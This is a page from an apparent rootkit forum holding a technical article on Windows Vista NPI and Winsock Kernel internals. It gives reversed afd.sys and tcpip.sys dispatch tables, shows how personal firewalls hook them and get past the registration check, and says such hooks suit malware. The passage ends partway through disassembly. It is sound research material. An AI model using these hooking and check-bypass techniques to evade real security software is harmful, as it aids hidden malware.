 main menuhome
forums Show me new threads!
bookmarks
post article
view blogs
vault you must be level 2 to upload files to your vault
downloads you must be logged to access downloads
Rootkit Collection
A news back-end to implement RootKit news into your website is here or more advanced version here.
An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.
Beta feed for replied posts here. feedback to admins not forums, we know about times being off...
|
ROOTKIT
Share Your Old Stuff, Keep Your Good Stuff
|
Saturday July 31st |
| | Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C by jeffosz | Network Programming Interface of Windows Vista/2008: internals, using and hacking By: MaD.The release of Windows Vista has brought a lot of the new features within the network subsystem. Microsoft has limited TDI, making it available for use with legacy drivers only; NDIS has advanced to the very different version 6. Flexible and robust APIs, the interface’s scalability – that’s what Microsoft says in its presentations. But not all of this goes well, the security software vendors prefer to use poorly documented and sometimes unstable ways for the hooks’ installation. In this article I’m going to tell you something about the newest features of Windows Vista – the Network Programming Interface. There are several features of the network subsystem, such as the Winsock Kernel, which will be discussed here. The main thing of the article is to show how the personal firewalls’ vendors build their products under Windows Vista, the features and hacks they use to achieve the robustness of the firewalls and how the firewalls can be bypassed on this level. Please note that the network subsystems of Windows Vista and Windows 2008 are very similar, so the same principles and techniques can be used in two different operating systems. It doesn’t matter which architecture the target processor’s OS runs on, the x86 and x64 versions of the system will be discussed at the same time. All of the sources can be compiled for x86, as well as for x86-64. Introduction to NPI The Network Programming Interface (NPI) is one of the newest features of Windows Vista. The NPI resides in kernel mode and provides the interface between two kinds of network modules: NPI providers and NPI clients. This technology was built as a replacement of TDI – Transport Driver Interface. In the old NT-like systems TDI was a general communication interface between protocol transport drivers and clients. TDI has also been actively used in protection techniques in Windows 2k-2k3, you might already know about attaching to the tcpip.sys’ devices or tcpip.sys’ MajorTable hooking firewall techniques. And some of the protection software used to have TDI hooks only as a general protection. It was hard to code, and it was really old interface which was needed to be replaced by some new, flexible, with reach, clean APIs interface. So, it’s happened and NPI was born. Anyway, Windows Vista left TDI for legacy drivers, so it’s still can be useful. The client registrations receive a set of specific handlers which they can use to establish a connection with some internal modules of the provider. NPI providing by NMR - Network Modules Registrar, which provides the set of NmrXxx() functions which you can use to register your own NPI provider or NPI client. The set of these functions are placed in the netio.sys driver. Let’s take a look on some of them. You can call NmrRegisterProvider() to register yourself as a NPI provider or you can call NmrDeregisterProvider() to deregister the previously registered entity:
NTSTATUS NmrRegisterProvider( IN PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics, IN PVOID ProviderContext, OUT PHANDLE NmrProviderHandle );
NTSTATUS NmrDeregisterProvider( IN HANDLE NmrProviderHandle );
The structure NPI_PROVIDER_CHARACTERISTICS can be described as follows:
typedef struct _NPI_PROVIDER_CHARACTERISTICS { USHORT Version; USHORT Length; PNPI_PROVIDER_ATTACH_CLIENT_FN ProviderAttachClient; PNPI_PROVIDER_DETACH_CLIENT_FN ProviderDetachClient; PNPI_PROVIDER_CLEANUP_BINDING_CONTEXT_FN ProviderCleanupBindingContext; NPI_REGISTRATION_INSTANCE ProviderRegistrationInstance; } NPI_PROVIDER_CHARACTERISTICS, *PNPI_PROVIDER_CHARACTERISTICS;
Pointers on the callbacks in this table must be filled by the driver which wants to react on corresponding events. The most interesting callbacks, which must be filled, are: ProviderAttachClient() for client attaching notification ProviderDetachClient() for client detaching notification Those callbacks are called by NMR when some NPI client wants to attach to the corresponding provider and use its functions. Another side of NPI is a NPI client registering. You can use NmrRegisterClient() to register the driver as a NPI client and NmrDeregisterClient() to do the opposite action:
NTSTATUS NmrRegisterClient( IN PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics, IN PVOID ClientContext, OUT PHANDLE NmrClientHandle );
NTSTATUS NmrDeregisterClient( IN HANDLE NmrClientHandle );
Very similar to the provider functions, isn’t it? And NPI_CLIENT_CHARACTERISTICS isn’t an exception:
typedef struct _NPI_CLIENT_CHARACTERISTICS { USHORT Version; USHORT Length; PNPI_CLIENT_ATTACH_PROVIDER_FN ClientAttachProvider; PNPI_CLIENT_DETACH_PROVIDER_FN ClientDetachProvider; PNPI_CLIENT_CLEANUP_BINDING_CONTEXT_FN ClientCleanupBindingContext; NPI_REGISTRATION_INSTANCE ClientRegistrationInstance; } NPI_CLIENT_CHARACTERISTICS, *PNPI_CLIENT_CHARACTERISTICS;
ClientRegistrationInstance defines a very significant structure which describes the provider the driver supposed connect to:
typedef struct _NPI_REGISTRATION_INSTANCE { USHORT Version; USHORT Size; PNPIID NpiId; PNPI_MODULEID ModuleId; ULONG Number; CONST VOID *NpiSpecificCharacteristics; } NPI_REGISTRATION_INSTANCE, *PNPI_REGISTRATION_INSTANCE;
By using fields of this structure in context of ClientAttachProvider(), you can determine the sub-modules of the provider you’re going to communicate with. ModuleId and NpiId fields are the most significant fields of this structure, they are defined by structures NPI_MODULEID and NPIID, respectively:
typedef struct { unsigned long Data1; unsigned short Data2; unsigned short Data3; byte Data4[ 8 ]; } GUID;
typedef GUID NPIID, *PNPIID;
typedef struct _NPI_MODULEID { USHORT Length; NPI_MODULEID_TYPE Type; union { GUID Guid; IF_LUID IfLuid; }; } NPI_MODULEID, *PNPI_MODULEID;
By filling ModuleId and NpiId fields with known sequence of bytes, you can determine the provider completely. That is the key moment within client-to-provider attaching event. GUIDs are not described and they can be obtained by, e.g. disassembling. WSK As you may already know, afd.sys is a part of network subsystem of Windows, which is between tcpip.sys, the Windows’ TCP/IP stack, and the user mode Winsock providers. afd.sys registers itself as a NPI provider and provides WSK – the Winsock Kernel. TDI can be described as a very hard to code and complicated interface which you might used in your projects. In the opposite of TDI we have WSK which has very simple interface which can give your drivers the opportunity of the network communication. WSK provides the set of WskXxx() functions like WskSocket(), WskConnect(), WskReceive(), WskSend(), WskCloseSocket(), which look very similar to socket(), connect(), recv(), send(), close() calls. But there is one difference between WSK and user mode sockets. The sockets which WSK provides are non-blocking, so you have to be able to make your wrappers to make it blocking or use the non-blocking sockets directly. The basic WSK functions we can use are exported by NMR (netio.sys), but the driver which provides the set of WskXxx() callbacks is afd.sys. Now we see that any driver in the system can be registered as a WSK provider, but the problem is that we don’t know the internals of tcpip.sys’ interface which provides the TCP/IP stack functionality. First of all, you have to call WskRegister() to register the driver as WSK application, this function is well documented in WDK:
static WSK_REGISTRATION g_WskRegistration; static WSK_CLIENT_DISPATCH g_WskDispatch = {MAKE_WSK_VERSION(1,0), 0, NULL}; ... WSK_CLIENT_NPI WskClient = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL;
WskClient.ClientContext = NULL; WskClient.Dispatch = &g_WskDispatch;
Status = WskRegister(&WskClient, &g_WskRegistration); if (!NT_SUCCESS(Status)) { DbgPrint("DriverEntry(): WskRegister() failed with status 0x%08X\n", Status); return Status; }
The investigation said that WskRegister() function just calls NmrRegisterClient() with NpiId = NPI_WSK_INTERFACE_ID and ModuleId = WSKLIB_WSK_CLIENT_MODULEID. After successful registering, you have to call WskCaptureProviderNPI() to wait until the transport driver will be loaded. Yep, in some cases we can be loaded before afd.sys – like we can run at the early boot mode or the system can start in safe mode and afd.sys won’t be loaded.
Status = WskCaptureProviderNPI(&g_WskRegistration, WSK_CAPTURE_WAIT_TIMEOUT_MSEC, &g_WskProvider); if (!NT_SUCCESS(Status)) { DbgPrint("DriverEntry(): WskCaptureProviderNPI() failed with status 0x%08X\n", Status); WskDeregister(&g_WskRegistration); return Status; }
WskCaptureProviderNPI() just awaits for ClientAttachProvider() call. When afd.sys gets the ProviderAttachClient() call, it will return back a pointer on the dispatch table with a set of handlers. Those above-mentioned WskXxx() callbacks. In g_WskProvider.Dispatch you’ll get pointers on several callbacks, and the whole entity can be defined by the WSK_PROVIDER_DISPATCH structure:
typedef struct _WSK_PROVIDER_DISPATCH { USHORT Version; USHORT Reserved; PFN_WSK_SOCKET WskSocket; PFN_WSK_SOCKET_CONNECT WskSocketConnect; PFN_WSK_CONTROL_CLIENT WskControlClient; } WSK_PROVIDER_DISPATCH, *PWSK_PROVIDER_DISPATCH;
Every WSK client, which wants to create a connection, uses this table to communicate with other services of afd.sys. Every time ProvideAttachClient() call occurs, afd.sys returns the only one pointer on this structure which is placed in the image of afd.sys. So the handlers of this table can be hooked by a firewall or some malware to sniff every WSK call, which occurs in the system. Let’s look under the cover of afd.sys: the provider registration occurs in AfdWskStartProviderModule() where afd.sys calls NmrRegisterProvider() with ProviderCharacteristics points on the AfdWskProviderNotify structure:
NPIID NPI_WSK_INTERFACE_ID = { 0x2227E803, 0x8D8B, 0x11D4, {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09} };
NPI_MODULEID NPI_MS_WSK_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A0D, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} };
NPI_PROVIDER_CHARACTERISTICS AfdWskProviderNotify = { 0, sizeof(NPI_PROVIDER_CHARACTERISTICS), AfdWskNotifyAttachClient, AfdWskNotifyDetachClient, AfdWskNotifyCleanupClientContext, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_WSK_INTERFACE_ID, &NPI_MS_WSK_MODULEID, 0, &AfdWskProviderCharacter} };
This structure is placed in the .rdata section and it’s forbidden to write there by default. You have to remember that when you’ll be going to install your hooks there. So when an application calls WskRegister(), AfdWskNotifyAttachClient() will be called. And finally, AfdWskNotifyAttachClient() returns the pointer on some dispatch table into g_WskProvider.Dispatch. It actually points on the internal structure WskProAPIProviderDispatch, which placed in .rdata also:
WSK_PROVIDER_DISPATCH WskProAPIProviderDispatch = { MAKE_WSK_VERSION(1,0), WskProAPISocket, WskProAPISocketConnect, AfdWskControlClient };
If we have a pointer on WskProAPIProviderDispatch we can hook three handlers – WskSocket(), WskSocketConnect() and WskControlClient(). Depends from the flags were passed to WskSocket() or WskSocketConnect() callbacks (WSK_FLAG_DATAGRAM_SOCKET/ WSK_FLAG_CONNECTION_SOCKET/ WSK_FLAG_LISTEN_SOCKET), you’ll get the new, different dispatch table which describes the correspond socket. There are several of them: WSK_PROVIDER_DATAGRAM_DISPATCH for datagram sockets (UDP):
WSK_PROVIDER_DATAGRAM_DISPATCH WskProAPIDatagramSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProCoreCloseSocket, WskProAPIReceiveFrom, WskProAPIReleaseC, WskProAPIGetLocalAddress };
WSK_PROVIDER_CONNECTION_DISPATCH for stream sockets (TCP):
WSK_PROVIDER_CONNECTION_DISPATCH WskProAPIConnectionSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProAPIConnect, WskProAPIGetLocalAddress, WskProAPIGetRemoteAddress, WskProAPISend, WskProAPIReceive, WskProAPIDisconnect, WskProAPIReleaseC };
WSK_PROVIDER_LISTEN_DISPATCH for any kinds of listening sockets:
WSK_PROVIDER_LISTEN_DISPATCH WskProAPIListenSocketDispatch = { WskProAPIControlSocket, WskProAPICloseSocket, WskProAPIBind, WskProAPIAccept, WskProAPIResume, WskProAPIGetLocalAddress };
By using pointers on these structures (which are placed in afd.sys also) we can hook the handlers to react on the correspond actions happening in the system. Let’s take a look on the example of WSK client which connects to the google.com:80, sends the GET request and receives the web-server’s answer. Assume that we called WskCaptureProviderNPI() already and we got a pointer on the WSK_PROVIDER_NPI structure already. First of all, we have to create the new socket by using WSK_PROVIDER_NPI.Dispatch->WskSocket() callback:
static NTSTATUS MakeHttpRequest( __in PWSK_PROVIDER_NPI WskProvider, __in PSOCKADDR_IN LocalAddress, __in PSOCKADDR_IN RemoteAddress, __in PWSK_BUF HttpRequest, __out PWSK_BUF HttpResponse, __in PIRP Irp // can be reused ) { KEVENT CompletionEvent = {0}; PWSK_PROVIDER_CONNECTION_DISPATCH SocketDispatch = NULL; PWSK_SOCKET WskSocket = NULL; ... KeInitializeEvent(&CompletionEvent, SynchronizationEvent, FALSE);
IoReuseIrp(Irp, STATUS_UNSUCCESSFUL); IoSetCompletionRoutine(Irp, CompletionRoutine, &CompletionEvent, TRUE, TRUE, TRUE);
Status = WskProvider->Dispatch->WskSocket( WskProvider->Client, AF_INET, SOCK_STREAM, IPPROTO_TCP, WSK_FLAG_CONNECTION_SOCKET, NULL, NULL, NULL, NULL, NULL, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; } if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskSocket() failed with status 0x%08X\n", Status); return Status; }
WskSocket = (PWSK_SOCKET)Irp->IoStatus.Information; SocketDispatch = (PWSK_PROVIDER_CONNECTION_DISPATCH)WskSocket->Dispatch; ...
As you can see, WskSocket() expects the IRP pointer, which structure we should allocate for this. IRPs can be used many times, so we reuse it by calling IoReuseIrp(). As I mentioned before, WSK functions are non-blocking functions so WskSocket() can return STATUS_PENDING. In that case we should wait for WskSocket() call completion. The completion event will be signaled by CompletionRoutine(). The pointer on this routine was passed to the IoSetCompletionRoutine() call:
static NTSTATUS NTAPI CompletionRoutine( __in PDEVICE_OBJECT DeviceObject, __in PIRP Irp, __in PKEVENT CompletionEvent ) { ASSERT( CompletionEvent );
KeSetEvent(CompletionEvent, IO_NO_INCREMENT, FALSE); return STATUS_MORE_PROCESSING_REQUIRED; }
When the socket had been successfully created, we have to bind it to the local address, which the TCP/IP stack should use for the network interface choosing. We don’t have to do that in BSD sockets, but the WskConnect() call will fail until we called WskBind(). We can pass the INADDR_ANY as a local address, WskBind() allows that:
LocalAddress.sin_family = AF_INET; LocalAddress.sin_addr.s_addr = INADDR_ANY; LocalAddress.sin_port = 0; ... Status = SocketDispatch->WskBind( WskSocket, (PSOCKADDR)LocalAddress, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; }
if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskBind() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
Connect to the destination host:
RemoteAddress.sin_family = AF_INET; RemoteAddress.sin_addr.s_addr = HOST_ADDRESS; RemoteAddress.sin_port = HTONS(HOST_PORT); ... Status = SocketDispatch->WskConnect( WskSocket, (PSOCKADDR)RemoteAddress, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; }
if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskConnect() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
Actually, you don’t have to call all these WskSocket(), WskBind(), WskConnect() callbacks if you just need to connect to the destination host via TCP. There is a WskSocketConnect() call which can do all of the previously mentioned. The next step – HTTP request sending:
Status = SocketDispatch->WskSend( WskSocket, HttpRequest, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; }
if (!NT_SUCCESS(Status)) { DbgPrint("MakeHttpRequest(): WskSend() failed with status 0x%08X\n", Status); CloseWskSocket(SocketDispatch, WskSocket); return Status; }
Receive the web-server’s answer:
Status = SocketDispatch->WskReceive( WskSocket, &WskBuffer, 0, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; }
if (!NT_SUCCESS(Status)) { DbgPrint("ReceiveHttpResponse(): WskReceive() failed with status 0x%08X\n", Status); break; }
The socket closing function does its job:
Status = SocketDispatch->WskCloseSocket(WskSocket, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL); Status = Irp->IoStatus.Status; }
if (!NT_SUCCESS(Status)) { DbgPrint("CloseWskSocket(): WskCloseSocket() failed with status 0x%08X\n", Status); }
WskCloseSocket() is a non-blocking function, too. Do we remember about FIN packets exchange and timeouts during the disconnect event? After we successfully retrieved the web-server’s answer, we can parse it:
MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): Connected, sending the request... MakeHttpRequest(): 56 bytes of the request sent successfully MakeHttpRequest(): Receiving the answer... MakeHttpRequest(): Received 497 bytes of data ==> google.com says that today is: Mon, 11 May 2009 11:51:27 GMT MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): Connected, sending the request... MakeHttpRequest(): 56 bytes of the request sent successfully MakeHttpRequest(): Receiving the answer... MakeHttpRequest(): Received 497 bytes of data ==> google.com says that today is: Mon, 11 May 2009 11:51:32 GMT ...
This method of communication with the outside world works well and it can be detected by firewalls which work on NPI level. The connection can be discovered by netstat or TcpView tools. The interesting situation will be taken when WSK will be used by some legitimate software and a rootkit in the same time. How the firewall can distinguish the legitimate software and malware? That is a point. For educational purposes there is a simplewsk wrapper library was developed. It’s just the set of wrappers which correspond to WskXxx() callbacks. We don’t have to remember about all these IRPs, WSK_BUFs, completion events etc. That’s the easiest way how to use WSK by some simple application. You can find the library’s sources and the echo server based on this library in the end of the article. NPI internals As I mentioned before, NPI replaced TDI and Windows Vista uses NPI in the intercommunications between the network drivers. In the previous versions of the system tcpip.sys had been registering as a TDI provider, now it’s registering as a NPI provider. The ideology of NPI is that the NPI provider registers the set of handlers which the NPI client can use. We had that in afd.sys, we have this in tcpip.sys also. We’d like to register as a NPI client of tcpip.sys and get the dispatch tables’ pointers as we did in WSK. That would be pretty cool because if we hooked that, we can regulate all of the system’s network communication. Well, not all of the communication, but the only Windows’ TCP/IP stack network communication. Have to say that we cannot do that easily. First of all, let’s take a look inside netio.sys, we’re particularly interested in NmrRegisterProvider() и NmrRegisterClient() functions:
#define PROVIDER_MODULE 2 #define CLIENT_MODULE 1
NTSTATUS NmrRegisterProvider( PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics, PVOID ProviderContext, PHANDLE NmrProviderHandle ) { NTSTATUS Status; HANDLE hProvider; ... Status = NmrpVerifyModule(_ReturnAddress(), FALSE, ProviderCharacteristics); if (NT_SUCCESS(Status)) { Status = NmrpRegisterModule(PROVIDER_MODULE, ProviderCharacteristics, ProviderContext, &hProvider); if (NT_SUCCESS(Status)) *NmrProviderHandle = hProvider; }
return Status; }
NTSTATUS NmrRegisterClient( PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics, PVOID ClientContext, PHANDLE NmrClientHandle ) { NTSTATUS Status; HANDLE hClient; ... Status = NmrpVerifyModule(_ReturnAddress(), TRUE, ClientCharacteristics); if (NT_SUCCESS(Status)) { Status = NmrpRegisterModule(CLIENT_MODULE, ClientCharacteristics, ClientContext, &hClient); if (NT_SUCCESS(Status)) *NmrClientHandle = hClient; }
return Status; }
It’s very interesting to find NmprVerifyModule() here. This function takes care about the return address, ProviderDetachClient/ClientDetachProvider pointers and NPIID structure pointer. First of all, the function compares the NPI_REGISTRATION_INSTANCE.NpiId field with NPI_TRANSPORT_LAYER_ID, NPI_WSK_INTERFACE_ID and NPI_CCM_INTERFACE_ID. If one of the NPIIDs is equal to the passed one, the function calls ZwQuerySystemInformation() to get the list of kernel modules which are currently loaded. Then, it tries to find a driver which is the owner of the passed return address. If it finds one, it compares the ProviderDetachClient()/ClientDetachProvider() pointers – are they belong to the driver? Finally, the NmprVerifyModule() compares the driver’s module path – is it equal to “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” or “\systemroot\system32\drivers\tcpip.sys”? If it is, the function allows the provider/client registering with this NPIID. After some of NmprVerifyModule()/NmrpRegisterModule() research we got several thoughts: 1. The only afd.sys can be registered as a WSK provider (NpiId = NPI_WSK_INTERFACE_ID) 2. Any driver can be registered as a WSK client (NpiId = NPI_WSK_INTERFACE_ID), that’s how it should be 3. The only tcpip.sys can be registered as a transport layer provider (NpiId = NPI_TRANSPORT_LAYER_ID) 4. The only tdx.sys or afd.sys can be registered as a transport layer client (NpiId = NPI_TRANSPORT_LAYER_ID) The above-mentioned tdx.sys is a TDI provider for legacy drivers. In the future Microsoft can just get rid of it. So since tcpip.sys works on NPI and all of the communication between tcpip.sys and tdx.sys/afd.sys works with NPI only, that’s a good idea to hook something over there to intercept all of the applications’ calls. The tcpip.sys driver calls NmrRegisterProvider() to register itself as a transport layer provider from its internal function InetStartNsiProvider(), which is called many times for each protocol tcpip.sys provides. The most interesting are:
NTSTATUS TcpStartConfigModule() { NTSTATUS Status;
Status = InetStartNsiProvider(&TcpInetTransport, &TcpNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
NTSTATUS UdpStartConfigModule() { NTSTATUS Status;
Status = InetStartNsiProvider(&UdpInetTransport, &UdpNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
NTSTATUS RawStartConfigModule() { NTSTATUS Status;
Status = InetStartNsiProvider(&RawInetTransport, &RawNsiInterfaceDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
So, since tcpip.sys is a NPI provider, it must contain previously described NPI_MODULEID for each call of NmrRegisterProvider(). Here we are, directly from tcpip.sys:
NPI_MODULEID NPI_MS_TCP_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A03, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} };
NPI_MODULEID NPI_MS_UDP_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A02, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} };
NPI_MODULEID NPI_MS_RAW_MODULEID = { sizeof(NPI_MODULEID), MIT_GUID, {0xEB004A07, 0x9B1A, 0x11D4, {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}} };
So what inside TcpInetTransport, UdpInetTransport, RawInetTransport, TcpNsiInterfaceDispatch, UdpNsiInterfaceDispatch and RawNsiInterfaceDispatch variables? It’s some interesting stuff there. First of all, TcpInetTransport, UdpInetTransport and RawInetTransport variables fill by functions TcpStartInetModule(), UdpStartInetModule() and RawStartInetModule respectively. XxxInetTransport variables are described by some internal structure definition and you won’t find any fields’ names or offsets. It doesn’t matter actually, all you need to know, that those variables contain pointers to the corresponding NPI_MODULEID structure - NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. There are internal callbacks also: TcpInitializeAf(), TcpCleanupAf(), TcpDetachAf() for TCP provider UdpInitializeAf(), UdpCleanAf() for UDP provider RawInitializeAf(), RawCleanupAf() for Raw IP provider RawInitializeClient(), RawNlClientAddInterface() for every other protocol (they actually do nothing, just xor eax, eax / ret stubs) XxxNsiInterfaceDispatch are just the part of corresponding XxxInetTransport variables. After the provider’s initializing and registering, the function InetStartTlProviderTransport() will be called. InetStartTlProviderTransport() runs the internal modules: TcpStartProviderModule(), UdpStartProviderModule() и RawStartProviderModule():
NTSTATUS TcpStartProviderModule() { NTSTATUS Status;
Status = InetStartTlProviderTransport( &TcpInetTransport, sizeof(...), &TcpTlProviderCharacteristics, &TcpTlProviderDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
NTSTATUS UdpStartProviderModule() { NTSTATUS Status;
Status = InetStartTlProviderTransport( &UdpInetTransport, sizeof(...), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
NTSTATUS RawStartProviderModule() { NTSTATUS Status;
Status = InetStartTlProviderTransport( &UdpInetTransport, sizeof(...), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch); If (NT_SUCCESS(Status)) { ... }
return Status; }
InetStartTlProviderTransport() calls NmrRegisterProvider() with its own ProviderCharacteristics structure, called InetTlProviderNotify:
NPIID NPI_TRANSPORT_LAYER_ID = { 0x2227E804, 0x8D8B, 0x11D4, {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09} };
NPI_PROVIDER_CHARACTERISTICS InetTlProviderNotify = { 0, sizeof(NPI_PROVIDER_CHARACTERISTICS), InetTlNotifyAttachClient, InetTlNotifyDetachClient, WfpAlepPeerInformationFree, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, 0, NULL} };
As you might see that tcpip.sys doesn’t register its providers with handlers pointing to the real providers callbacks. It use its own callbacks, stores XxxTlProviderCharacteristics and XxxTlProviderDispatch into the XxxInetTransport structure (we still don’t care about offsets) and when attaching, detaching or cleanup event occurs, it returns the dispatch tables’ pointers from the saved area. There are several of XxxTlProviderXxxDispatch tables which can be used in communication between the transport layer provider (tcpip.sys) and the transport layer client (afd.sys/tdx.sys officially): TCP callbacks:
PVOID TcpTlProviderDispatch[8] = { TcpTlProviderIoControl, TlDefaultRequestQueryDispatch, TcpTlProviderEndpoint, TlDefaultRequestMessage, TcpTlProviderListen, TcpTlProviderConnect, TcpTlProviderReleaseIndicationList, TcpTlProviderCancel };
PVOID TcpTlProviderEndpointDispatch[3] = { TcpTlEndpointCloseEndpoint, TcpTlEndpointIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint };
PVOID TcpTlProviderListenDispatch[4] = { TcpTlListenerCloseEndpoint, TcpTlListenerIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, TcpTlListenerResumeConnection };
PVOID TcpTlProviderConnectDispatch[6] = { TcpTlConnectionCloseEndpoint, TcpTlConnectionIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, TcpTlConnectionSend, TcpTlConnectionReceive, TcpTlConnectionDisconnect };
UDP callbacks:
PVOID UdpTlProviderDispatch[8] = { UdpTlProviderIoControl, TlDefaultRequestQueryDispatch, UdpTlProviderEndpoint, UdpTlProviderMessage, TlDefaultRequestListen, TlDefaultRequestConnect, RawTlProviderReleaseIndicationList, TlDefaultRequestCancel };
PVOID UdpTlProviderEndpointDispatch[3] = { UdpTlProviderCloseEndpoint, UdpTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint };
PVOID UdpTlProviderMessageDispatch[4] = { UdpTlProviderCloseEndpoint, UdpTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, UdpTlProviderSendMessages };
Raw IP callbacks:
PVOID RawTlProviderDispatch[8] = { TlDefaultRequestIoControl, TlDefaultRequestQueryDispatch, RawTlProviderEndpoint, RawTlProviderMessage, TlDefaultRequestListen, TlDefaultRequestConnect, RawTlProviderReleaseIndicationList, TlDefaultRequestCancel };
PVOID RawTlProviderEndpointDispatch[3] = { RawTlProviderCloseEndpoint, RawTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint };
PVOID RawTlProviderMessageDispatch[4] = { RawTlProviderCloseEndpoint, RawTlProviderIoControlEndpoint, TlDefaultRequestQueryDispatchEndpoint, RawTlProviderSendMessages };
I think we don’t have to explain why there are no ConnectDispatch tables belong to the UDP or RawIP providers. All of TlDefaultXxx() functions import from netio.sys which are just stubs with return STATUS_NOT_IMPLEMENTED; operator. That is the key point in whole article – all of the system’s network events go through these dispatch tables. And it’s pretty nice idea to hook some of the handlers to intercept all of the applications’ calls. When attaching event occurs, ProviderAttachClient() is called (it’s InetTlNotifyAttachClient() in our case):
NTSTATUS ProviderAttachClient( IN HANDLE NmrBindingHandle, IN PVOID ProviderContext, IN PNPI_REGISTRATION_INSTANCE ClientRegistrationInstance, IN PVOID ClientBindingContext, IN CONST VOID *ClientDispatch, OUT PVOID *ProviderBindingContext, OUT CONST VOID **ProviderDispatch );
InetTlNotifyAttachClient() returns one of the XxxTlProviderDispatch tables in *ProviderDispatch and now the providerclient connection is established. Now the client can make the requests to the provider through the dispatch routines. So what personal firewalls do? They simply emulate the afd.sys behaviour – they register themselves as a transport layer clients. After that they obtain the XxxTlProviderXxxDispatch tables’ pointers and hook the handlers. There are two problems which they have to avoid: the first problem is that the internal tcpip.sys’ intercommunication interface is not documented so you have to reverse back the interface from the machine codes; the second problem was mentioned before – you cannot connect to the transport layer provider if you’re not tdx.sys or afd.sys. For example, Outpost Firewall 2008/2009 builds the bridge which consists of some instructions which then will be placed in some unused part of afd.sys. The firewall can put it in the part between sections or in the PE header. That’s how the firewall can bypass the return address checking. The other thing is that the firewall has to do the same with attach/detach callbacks pointers. There we have the code which builds the bridge:
loc_1B59A: movsxd rax, edi mov ecx, 0FFFFFFF8h lea rdx, [rax+rax*4] mov r8d, [rbx+rdx*8+114h] mov r9d, [rbx+rdx*8+118h] lea rdx, a_textAddressXS ; ".text address: %#x size: %#x\n" add r8, rsi call LogStub and [rsp+108h+var_E8], 0 lea rbx, [r9+r8-0A8h] mov rcx, rbx ; VirtualAddress xor r9d, r9d ; ChargeQuota xor r8d, r8d ; SecondaryBuffer mov edx, 0A8h ; Length call cs:IoAllocateMdl xor edx, edx ; AccessMode lea r8d, [rdx+1] ; Operation mov rcx, rax ; MemoryDescriptorList mov rdi, rax call cs:MmProbeAndLockPages xor r9d, r9d ; BaseAddress xor r8d, r8d ; CacheType xor edx, edx ; AccessMode mov rcx, rdi ; MemoryDescriptorList mov [rsp+108h+var_E0], 20h and dword ptr [rsp+108h+var_E8], 0 call cs:MmMapLockedPagesSpecifyCache lea rcx, [rsp+108h+var_C8] mov rdx, rax mov r8d, 0A8h mov rsi, rax call DoSomethingEv0l lea rax, [rbx+33h] mov byte ptr [rsi], 4Ch mov [rsi+24h], rax lea rax, NmrRegisterClient mov byte ptr [rsi+1], 89h mov byte ptr [rsi+2], 44h mov byte ptr [rsi+3], 24h mov byte ptr [rsi+4], 18h mov [rsi+33h], rax mov byte ptr [rsi+5], 48h mov byte ptr [rsi+6], 89h ... mov byte ptr [rsi+32h], 0C3h mov byte ptr [rsi+3Bh], 0FFh mov 